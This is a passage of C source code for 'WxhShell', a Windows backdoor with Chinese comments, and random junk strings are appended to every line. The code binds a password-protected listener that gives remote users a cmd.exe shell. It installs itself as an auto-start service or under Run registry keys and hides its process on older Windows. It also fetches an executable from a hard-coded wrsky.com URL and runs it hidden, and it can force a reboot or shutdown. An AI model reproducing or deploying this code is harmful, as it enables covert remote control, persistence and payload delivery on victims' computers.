    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p`T7Y\\#!  
    if(Boot(SHUTDOWN)) .2Y"=|NdA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mp7r`A,6  
    else { $*`fn{2  
    closesocket(wsh); oypX.nye_  
    ExitThread(0); `+Wl fk;  
    } !pQQkZol  
    break; jbMzcn~ehI  
    } pn {Nk1Pl  
  // 获取shell `hY%<L sI  
  case 's': { %h2U(=/:  
    CmdShell(wsh); 1g^N7YF  
    closesocket(wsh); 87r#;ND  
    ExitThread(0); nhiCV>@y  
    break; %dhnp9'  
  } X3<<f`X  
  // 退出 Ycn*aR2  
  case 'x': { n;/yo~RR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )Uo)3FAn  
    CloseIt(wsh); qIuY2b`6  
    break; s{'r'`z.  
    } sMs 0*B-[  
  // 离开 bt-y6,> +E  
  case 'q': { u4rGe!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'HH[[9Q  
    closesocket(wsh); [Xg?sdQCI  
    WSACleanup(); g()YP  
    exit(1); SHIK=&\~-  
    break; e#<%`\qH  
        } ikw_t?  
  } O{%yO=`r  
  } yAW%y  
<x53b/ft  
  // 提示信息 [?.k8;k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  r@/+  
} |z-A;uL<  
  } v0apEjT  
&3:-(:<U  
  return; '>@ evrG  
} }BzV<8F  
TMT65X!  
// shell模块句柄 |36d<b Io  
int CmdShell(SOCKET sock) >E^sZmY[f-  
{ ri.;&  
STARTUPINFO si; Oz-X}eM  
ZeroMemory(&si,sizeof(si)); jLM1 ~`&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dc}-wnga  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a>ZV'~zTf  
PROCESS_INFORMATION ProcessInfo; !c[?$#W4  
char cmdline[]="cmd"; nulVQOj|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SdeKRZ{o  
  return 0; hDSt6O4za  
} l> W?XH  
g;UB+Y 247  
// 自身启动模式 %8DU}}Rj  
int StartFromService(void) \h!%U*!7{  
{ Xt_8=Q  
typedef struct 9NBFG~)|l[  
{ t ux/@}I  
  DWORD ExitStatus; )4toBDg"  
  DWORD PebBaseAddress; OT+=H)/  
  DWORD AffinityMask; a{GPAzO+  
  DWORD BasePriority; [?Cv^t${+  
  ULONG UniqueProcessId; LD0x 4zm$m  
  ULONG InheritedFromUniqueProcessId; .Wc<(pfa  
}   PROCESS_BASIC_INFORMATION; ~+/IzckrG  
Wj(O_2  
PROCNTQSIP NtQueryInformationProcess;  zN: VT&  
bzF>Efza  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F;kY5+a7~e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m6a`OkP  
6k|o<`~,  
  HANDLE             hProcess; iV58 m  
  PROCESS_BASIC_INFORMATION pbi; ; $i{>mDT  
zogw1g&C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hs!a'E  
  if(NULL == hInst ) return 0; &5h{XSv  
o:W>7~$jr=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ej~vp2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c>6dlWTqX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G3 rTzMO  
YC8wo1;Y!  
  if (!NtQueryInformationProcess) return 0; J<'[P$D  
lm i,P-Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |-a5|3  
  if(!hProcess) return 0; k Pi%RvuQ  
U0 nSI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;wK;  
>E;kM B  
  CloseHandle(hProcess); Ye% e!  
ikX"f?Q;S2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BiT #bg  
if(hProcess==NULL) return 0; ^~9fQJNs  
;h<(vc3@f  
HMODULE hMod; zo6|1xq   
char procName[255]; r'/&{?Je/  
unsigned long cbNeeded; kVz9}Xp"  
Yd'Fhvo8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mvgsf(a*'  
Tsch:r S  
  CloseHandle(hProcess); n=J~Rssp  
(H5nz':  
if(strstr(procName,"services")) return 1; // 以服务启动 Iv+JEuIi  
&&T\PspM  
  return 0; // 注册表启动 /Jj7 +?  
} c!*yxzs\  
}Z#KPI8\Q  
// 主模块 1y'8bt~7Pf  
int StartWxhshell(LPSTR lpCmdLine) C~-x637/  
{ ]9qY(m  
  SOCKET wsl; n_QSuh/Wn  
BOOL val=TRUE; )O\w'|$G  
  int port=0; 10R#} ~D  
  struct sockaddr_in door; .);~H#  
>9dzl#  
  if(wscfg.ws_autoins) Install(); S52'!WTq  
~tx|C3A`d  
port=atoi(lpCmdLine); E)sC:oO  
'2Q[g0VR  
if(port<=0) port=wscfg.ws_port; u_H=Xm)9  
Z*/{^ zsE  
  WSADATA data; !l NCuR/T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \]<e Lw- v  
*U>"_h T0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @n2Dt d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fE`p  
  door.sin_family = AF_INET; niC ; WK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C2}n &{T  
  door.sin_port = htons(port); V6Z~#=EQ  
$~7uDq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^/]w}C#:d  
closesocket(wsl); M^IEu }  
return 1; }uP`=T!"8  
} " GRR,7A  
& pHSX  
  if(listen(wsl,2) == INVALID_SOCKET) { qlSI|@CO  
closesocket(wsl); Z5/*i un  
return 1; rebnV&-  
} tV?-   
  Wxhshell(wsl); *.%z  
  WSACleanup(); +@], JlYf  
m.F}9HI%hN  
return 0; GdN9bA&,  
W4Z8U0co  
} mR,w~wP  
{E=BFs  
// 以NT服务方式启动 9K!kU6Gh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .`p,pt;  
{ B7x( <!B  
DWORD   status = 0; 5PY4PT=G  
  DWORD   specificError = 0xfffffff; ;k ?Z,M:  
'Em3;`/C*+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [=<vapZt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uA-1VwW+N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S)LvYOOB@  
  serviceStatus.dwWin32ExitCode     = 0; nA*U drcn  
  serviceStatus.dwServiceSpecificExitCode = 0; -al\* XDz  
  serviceStatus.dwCheckPoint       = 0; '+EtnWH s  
  serviceStatus.dwWaitHint       = 0; (aC~0 #4  
`D/<*e,#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W&~\@j]!D  
  if (hServiceStatusHandle==0) return; =[JstiT?E  
ycq+C8J+Ep  
status = GetLastError(); n(uzqd  
  if (status!=NO_ERROR) 4Jn+Ot.,d  
{ [>$?/DM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 35Ro8 5j  
    serviceStatus.dwCheckPoint       = 0; N\l|3~  
    serviceStatus.dwWaitHint       = 0; \LG0   
    serviceStatus.dwWin32ExitCode     = status; IA%|OVAfF  
    serviceStatus.dwServiceSpecificExitCode = specificError; :o3>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p=!12t  
    return; RGgePeaw  
  } 8Z|A'M  
^F)t>K$0m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mz7qC3Z  
  serviceStatus.dwCheckPoint       = 0; knn9s0'Q  
  serviceStatus.dwWaitHint       = 0; Ab #}BHI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v6U Gr4  
} *{:Zdg'~E  
E3hXs6P  
// 处理NT服务事件,比如:启动、停止 ~P7zg!p/q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [][ze2+b  
{ HPMj+xH  
switch(fdwControl) 9dVHh?E  
{ n\ 'PNB  
case SERVICE_CONTROL_STOP: .oS[ DTn5S  
  serviceStatus.dwWin32ExitCode = 0; ARUzEo gcf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e0<Wed  
  serviceStatus.dwCheckPoint   = 0; u>ZH-nw O  
  serviceStatus.dwWaitHint     = 0; FMX ^k  
  { y(ceEV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 23d*;ri5  
  } redMlHM  
  return; jl>jy6T  
case SERVICE_CONTROL_PAUSE: 0fGt7 "Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xX?9e3(  
  break; d>gQgQ;g  
case SERVICE_CONTROL_CONTINUE: E4$y|Ni"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !J&UO/q.  
  break; IG.!M@_  
case SERVICE_CONTROL_INTERROGATE: }y1r yeW<  
  break; .[r1Qz7G  
}; 1l5'N=hL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +H:}1sT;n  
} l(Ya,/4  
(: P#l&f  
// 标准应用程序主函数 A("\m>g$b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?[]jJ  
{ CwM 1 _3cE  
e:l7 w3?O  
// 获取操作系统版本 <a&w$Zc/  
OsIsNt=GetOsVer(); (A )f r4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {[4.<|26  
Up1 n0  
  // 从命令行安装 llN/  
  if(strpbrk(lpCmdLine,"iI")) Install(); cOf.z)kf6  
\kZ@2.pN  
  // 下载执行文件 $."D OZQ3U  
if(wscfg.ws_downexe) { pocXQEg$]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XU<XK9EA  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2:RFPK  
} H: nO\]  
-d9L  
if(!OsIsNt) { rf^ u&f  
// 如果时win9x,隐藏进程并且设置为注册表启动 3*T/ 7\  
HideProc(); C|V5@O?;&  
StartWxhshell(lpCmdLine); 2#   
} EQe$~}[  
else Sd F+b+P]  
  if(StartFromService()) d\R "?Sg  
  // 以服务方式启动 "/G] M&  
  StartServiceCtrlDispatcher(DispatchTable); K]1| #`n  
else b")O#v.  
  // 普通方式启动 Z;z,dw  
  StartWxhshell(lpCmdLine); #@' B\!<@=  
JXjH}C  
return 0; ^RE[5h6^q  
} U ;A,W$<9  
O=eU38n:5u  
Kum" }ux  
.HN4xL  
=========================================== *k,{[b  
t7yvd7  
LSR0yCU  
i=R%MH+  
K8/jfm  
!UR3`Xk  
" Y(] W+k<  
#)#J`s1R  
#include <stdio.h> 1LaJ hrp?  
#include <string.h> T_q M@/f  
#include <windows.h> ]4/C19Fe!  
#include <winsock2.h> SQ*%d.1  
#include <winsvc.h> c'XSs  
#include <urlmon.h> xU2i&il^!  
Jz4;7/  
#pragma comment (lib, "Ws2_32.lib") odDVdVx0  
#pragma comment (lib, "urlmon.lib") 8>G5VhCm~o  
ex#-,;T  
#define MAX_USER   100 // 最大客户端连接数 beBv|kI4  
#define BUF_SOCK   200 // sock buffer ^;K"Y'f$  
#define KEY_BUFF   255 // 输入 buffer D^xg2D  
P1z:L  
#define REBOOT     0   // 重启 }~Do0XUH  
#define SHUTDOWN   1   // 关机 \?wKs  
g##<d(e!}  
#define DEF_PORT   5000 // 监听端口 nXk9 IG(  
~]24">VZf  
#define REG_LEN     16   // 注册表键长度 DxD\o+:r  
#define SVC_LEN     80   // NT服务名长度 lD'^6  
mE;^B%v  
// 从dll定义API (0l>P]"n   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d}  5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A#{I- *D[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z}iz~WZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <>(v~a]  
M1]w0~G  
// wxhshell配置信息 Ve qB/Q X  
struct WSCFG { P^ht$)Y  
  int ws_port;         // 监听端口 k.})3~F-  
  char ws_passstr[REG_LEN]; // 口令 nltOX@P-  
  int ws_autoins;       // 安装标记, 1=yes 0=no U\W$^r,  
  char ws_regname[REG_LEN]; // 注册表键名 1cx%+-  
  char ws_svcname[REG_LEN]; // 服务名 XZQ-Ig18  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m^zD']  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;pS+S0U   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?&!!(dWFH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ++UxzUd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FRL;fF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t\]kVo)  
'SXLnoeTa  
}; :#\jx  
]<ay_w;  
// default Wxhshell configuration I?nU+t;  
struct WSCFG wscfg={DEF_PORT, .76Z  
    "xuhuanlingzhe", -GCU6U|  
    1, R5mb4  
    "Wxhshell", V6+:g=@U-l  
    "Wxhshell", aK(e%Ed t"  
            "WxhShell Service", xb"e'Zh  
    "Wrsky Windows CmdShell Service", (uX"n`Dk  
    "Please Input Your Password: ", Uu@qS  
  1, *NM*   
  "http://www.wrsky.com/wxhshell.exe", oiM['iDK  
  "Wxhshell.exe" Ki1 zi~  
    }; I*f@M}  
1H\5E~X   
// 消息定义模块 J*zQ8\f=}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uhv_'Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z"KrirZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :^qUr`)  
char *msg_ws_ext="\n\rExit."; tR 4+]K  
char *msg_ws_end="\n\rQuit."; >p#_ L^oZ%  
char *msg_ws_boot="\n\rReboot..."; zo8&(XS  
char *msg_ws_poff="\n\rShutdown..."; *=]UWM~]  
char *msg_ws_down="\n\rSave to "; nv(6NV  
fGW~xul_  
char *msg_ws_err="\n\rErr!"; +;)Xu}  
char *msg_ws_ok="\n\rOK!"; ~OLyG$JJ  
,,1y0s0`  
char ExeFile[MAX_PATH]; !b+!] 2~g}  
int nUser = 0; P(o>UDy  
HANDLE handles[MAX_USER]; T!pA$eE  
int OsIsNt; rWqr-"0S.  
Z#l6BXK  
SERVICE_STATUS       serviceStatus; .Iz JJp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4/_! F'j  
6JeAXj1g+  
// 函数声明 qVO,sKQ{  
int Install(void); Ef@)y&hn  
int Uninstall(void); U ]B-B+-  
int DownloadFile(char *sURL, SOCKET wsh); arS@l<79  
int Boot(int flag); 5E 9R+N  
void HideProc(void); X)= m4\R  
int GetOsVer(void); pc QkJ F  
int Wxhshell(SOCKET wsl); jwuSne  
void TalkWithClient(void *cs); **oDQwW]*  
int CmdShell(SOCKET sock); IL uQf-  
int StartFromService(void); DGw*BN%`  
int StartWxhshell(LPSTR lpCmdLine); +VJyGbOcC  
W<TfDEEa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fN21[Jv3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c>! ^\  
\4 +HNy3  
// 数据结构和表定义 `,Y3(=3Xe?  
SERVICE_TABLE_ENTRY DispatchTable[] = rmFcSolt,f  
{ R:ecLbC  
{wscfg.ws_svcname, NTServiceMain}, knfmJUT  
{NULL, NULL} )3V1aC  
}; XeslOsHh  
.eorwj]yb  
// 自我安装 l>hvWK[ ?I  
int Install(void) W^c /l*>v  
{ *.VNyay  
  char svExeFile[MAX_PATH]; 2S4SG\  
  HKEY key; Q. '2 v%i  
  strcpy(svExeFile,ExeFile); t! u>l  
dB QCr{7  
// 如果是win9x系统,修改注册表设为自启动 DeeV;?:  
if(!OsIsNt) { epG =)gd=8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 16nU`TN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D'^%Q_;u  
  RegCloseKey(key); 5`lVC$cP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0zsmZ]b5E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  tO D}&  
  RegCloseKey(key); S)'&+HamI  
  return 0; *+00  
    } oMYZ^b^  
  } ixoN#'y<"  
} glkH??S  
else { 7j(gW  
aZ|S$-}  
// 如果是NT以上系统,安装为系统服务 W[e2J&G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bweAmSs  
if (schSCManager!=0) 5d# 73)x$  
{ ^&c &5S}  
  SC_HANDLE schService = CreateService ~fzuz'"^  
  ( TN08 ,:k  
  schSCManager, pX$ X8z%  
  wscfg.ws_svcname, F}@]Lq+  
  wscfg.ws_svcdisp, )jjaY1E  
  SERVICE_ALL_ACCESS, v`Ja Bn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^X"x,8}&V  
  SERVICE_AUTO_START, A!uiM*"W  
  SERVICE_ERROR_NORMAL, Jp_ :.4  
  svExeFile, /YvwQ  
  NULL, jfam/LL{V  
  NULL, Adfnd  
  NULL, {d)L0KXK  
  NULL, hvA|d=R(  
  NULL Hq?dqg'%~  
  ); g:6 `1C  
  if (schService!=0) ;RQ}OCz9}8  
  { sheCwhV  
  CloseServiceHandle(schService); 64<*\z_  
  CloseServiceHandle(schSCManager); q$`>[&I~)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )YZx]6\l)  
  strcat(svExeFile,wscfg.ws_svcname); ^ ]+vtk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wS >S\,LV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u_8Z^T  
  RegCloseKey(key); ^i8(/iwdJE  
  return 0; }}"|(2I  
    } PeLzZ'$D  
  } (B?ZUXM,  
  CloseServiceHandle(schSCManager); m& D#5C  
} :KGPQ@:O  
} Bo'v!bI7  
5aXE^.`  
return 1; ~\<L74BB  
} LW9F%?e!>  
&]A0=h2{P*  
// 自我卸载 MlW*Tugg  
int Uninstall(void) ]mC5Z6,1s  
{ Qv]rj]%  
  HKEY key; vWL| vR  
QR<<O  
if(!OsIsNt) { `}FZ;q3DP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /*GCuc|  
  RegDeleteValue(key,wscfg.ws_regname); Y'#uZA3KA  
  RegCloseKey(key); :oiHf:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %&s4YD/{  
  RegDeleteValue(key,wscfg.ws_regname); O3#eQs  
  RegCloseKey(key); e5'U[ bQm  
  return 0; (rq(y$N  
  } QHnC(b  
} j6L(U~%  
} O.8k [Ht  
else { 1?Tj  
H!l 9a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wLvM<p7OX  
if (schSCManager!=0) IABF_GwF  
{ r8[)Ccv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XK)0Mt\  
  if (schService!=0) lB8g D  
  { ~]'yUd1gSZ  
  if(DeleteService(schService)!=0) { gg Nvm  
  CloseServiceHandle(schService); Y n0iu$;n  
  CloseServiceHandle(schSCManager); :-(qqC:  
  return 0; .SNg2.  
  } EW+QVu@  
  CloseServiceHandle(schService); >t%@)]*N  
  }  [ A 7{}  
  CloseServiceHandle(schSCManager); .Sv/0&O  
} @18}'k  
} l 3 jlKB  
\: B))y?}d  
return 1; Q5sJ|]Bc  
} yW"[}L h4  
FJT0lC  
// 从指定url下载文件 %'S[f  
int DownloadFile(char *sURL, SOCKET wsh) b"B:DDw00  
{ @3S:W2k  
  HRESULT hr; SzfMQ@~  
char seps[]= "/"; _sY; dS/  
char *token; &)_ z!  
char *file; 1y,/|Y  
char myURL[MAX_PATH]; %8d]JQ  
char myFILE[MAX_PATH]; r @ !  
dQO 5  
strcpy(myURL,sURL); U~M!T#\s  
  token=strtok(myURL,seps); gP |>gy#e  
  while(token!=NULL) aP"!}*  
  { ${gO=Z  
    file=token; #wZH.i #  
  token=strtok(NULL,seps); n9R0f9:*  
  } 8xkLfN|N=  
U *go}dt"5  
GetCurrentDirectory(MAX_PATH,myFILE); U"~W3vwJ  
strcat(myFILE, "\\"); KleiX7  
strcat(myFILE, file); 5 Yww,s  
  send(wsh,myFILE,strlen(myFILE),0); io@f5E+?  
send(wsh,"...",3,0); *.Z~f"SZy*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6qWWfm/6  
  if(hr==S_OK) V7cr%tY5  
return 0; mU.c!|Y  
else Dv&K3^~Rfb  
return 1; b/ h#{'  
rj4R/{h  
} {kr14 l*2  
ff~1>=^  
// 系统电源模块 ~qK/w0=j  
int Boot(int flag) LC\U6J't1  
{ Z9Z\2t  
  HANDLE hToken; MIb [}w=  
  TOKEN_PRIVILEGES tkp; G^eXJusOv  
KKWv V4u  
  if(OsIsNt) { EBr?>hl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;V?d;O4u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \xQu*M:!  
    tkp.PrivilegeCount = 1; iq,rS"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ys&)5j-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9Hd_sNUu\  
if(flag==REBOOT) { c]/S<w<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )V&hS5P=S  
  return 0; 7+qKA1t^  
} aPQxpK?  
else { ?-)v{4{s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -Zp BYX5e_  
  return 0; e+MQmW A'F  
} 6Rmdf>a  
  } U.JE \/  
  else { 5L_`Fw\l  
if(flag==REBOOT) { %$i}[ U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  Lw%_xRn)  
  return 0; PC|ul{[*}  
} +_+j"BT  
else { mrr~#Bb>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8m=O408Q  
  return 0; 0G0(g,3p  
} gga}mqMv=  
} yc`*zLWh  
_uXb>V*8  
return 1; 9C0#K\  
} F\|4zM  
P,9Pn)M|  
// win9x进程隐藏模块 SD<a#S\o  
void HideProc(void) -4zV yW S<  
{ _A] )q  
QR_h#N2h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z^z`{B  
  if ( hKernel != NULL ) |"I)1[7  
  { 7 nFOV Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); - l^3>!MAM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 32j}ep.*  
    FreeLibrary(hKernel); S#$Kmm |  
  } :O$bsw:3w<  
Lj9RF<39g  
return; o:fe`#t  
} k)|.<  
l`i97P?/W  
// 获取操作系统版本 zsJermF,O  
int GetOsVer(void) j49Uj}:j  
{ M +r!63T  
  OSVERSIONINFO winfo; $Ery&rX.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7B (%2  
  GetVersionEx(&winfo); b*M?\ aA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?Rx(@  
  return 1; -TH MTRFz  
  else Z0m`%(MJa  
  return 0; )1KyUQ\e  
} XclTyUGoK+  
nS*Y+Q^9a  
// 客户端句柄模块  mPk'a  
int Wxhshell(SOCKET wsl) [!-gb+L  
{ ,3y9yJQa*#  
  SOCKET wsh; ZcQu9XDIt  
  struct sockaddr_in client; Zo yO[#  
  DWORD myID; W>)0=8#\  
\ '4~@  
  while(nUser<MAX_USER) p2{7+m  
{ .  yg#  
  int nSize=sizeof(client); &Xqxuy ]J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4]ni-u0*  
  if(wsh==INVALID_SOCKET) return 1; -6HwG fU  
n]ba1t8ZA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )J}v.8   
if(handles[nUser]==0) UI+6\ 3  
  closesocket(wsh); /uj^w&l#  
else bIAE?D  
  nUser++; R=lw}jH[Z  
  } f 7lj,GAZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +*:mKx@Nw  
JfIXv  
  return 0; nQjpJ /=  
} {_-kwg{"(  
 % D  
// 关闭 socket iM)K:L7d  
void CloseIt(SOCKET wsh) t?4H9~iH  
{ 'bi;Y1:  
closesocket(wsh); &uK(. @  
nUser--; d-D,Gx]>$  
ExitThread(0); jtP*C_Scv/  
} 0\P5=hD)K  
,PTM'O@aU#  
// 客户端请求句柄 1 :p'  
void TalkWithClient(void *cs) o@e/P;E  
{ (Xh <F  
#1DEZ4]jjY  
  SOCKET wsh=(SOCKET)cs; olE(#}7V  
  char pwd[SVC_LEN]; r ;RYGLx  
  char cmd[KEY_BUFF]; p%I'd^}.!  
char chr[1];  GfE>?mG  
int i,j; uL`#@nI  
""0 Y^M2I  
  while (nUser < MAX_USER) { aDF@A S  
im2mA8OH  
if(wscfg.ws_passstr) { .| 4P :r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {aY) Qv}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8tx*z"2S  
  //ZeroMemory(pwd,KEY_BUFF); .\R9tt}  
      i=0; mr\,"S-`  
  while(i<SVC_LEN) { Vp/XVyL}R  
_QL|pLf-  
  // 设置超时 .xJ54Vz  
  fd_set FdRead; lYG`)#T  
  struct timeval TimeOut; o$*(N  
  FD_ZERO(&FdRead); EN!C5/M{&  
  FD_SET(wsh,&FdRead); 3K &637  
  TimeOut.tv_sec=8; W{F)YyR{.  
  TimeOut.tv_usec=0; z9aR/:W}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |]?f6^ |4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F1#{(uW  
q`*.F#/4c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |[?Otv  
  pwd=chr[0]; ieZ$@3#&z  
  if(chr[0]==0xd || chr[0]==0xa) { o[ZjXLJzV  
  pwd=0; _J1\c~ke"  
  break; zm&[K53  
  } ihrf/b  
  i++; fDy*dp4z  
    } uy {O   
46>rvy.r  
  // 如果是非法用户,关闭 socket A8'RM F1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^Arv6kD,  
} `MI\/oM@  
tbS hSbj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cn~VJ,l g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LYD iqOrx  
4 Ej->T.  
while(1) { TKB8%/_p  
n _K1%  
  ZeroMemory(cmd,KEY_BUFF); 1 /M^7Vb.  
Tb i?AJa}  
      // 自动支持客户端 telnet标准   YV.' L  
  j=0; `K{}  
  while(j<KEY_BUFF) { 1>Sfv|ZP,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )'+[,z ;s  
  cmd[j]=chr[0]; _ $F=A  
  if(chr[0]==0xa || chr[0]==0xd) { w+)${|N?  
  cmd[j]=0; <:9 ts@B  
  break; .LDZqWr-  
  } +e{ui +  
  j++; fd'kv  
    } +``vnC  
]}L'jK 0  
  // 下载文件 T!c|O3m  
  if(strstr(cmd,"http://")) { HMd?`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nc\DXc-N  
  if(DownloadFile(cmd,wsh)) ##jJa SxG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k{qxsNM  
  else ;fNCbyg4 I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j\ y!  
  } `%Ih'(ne  
  else { M/o?D <'  
BN9e S   
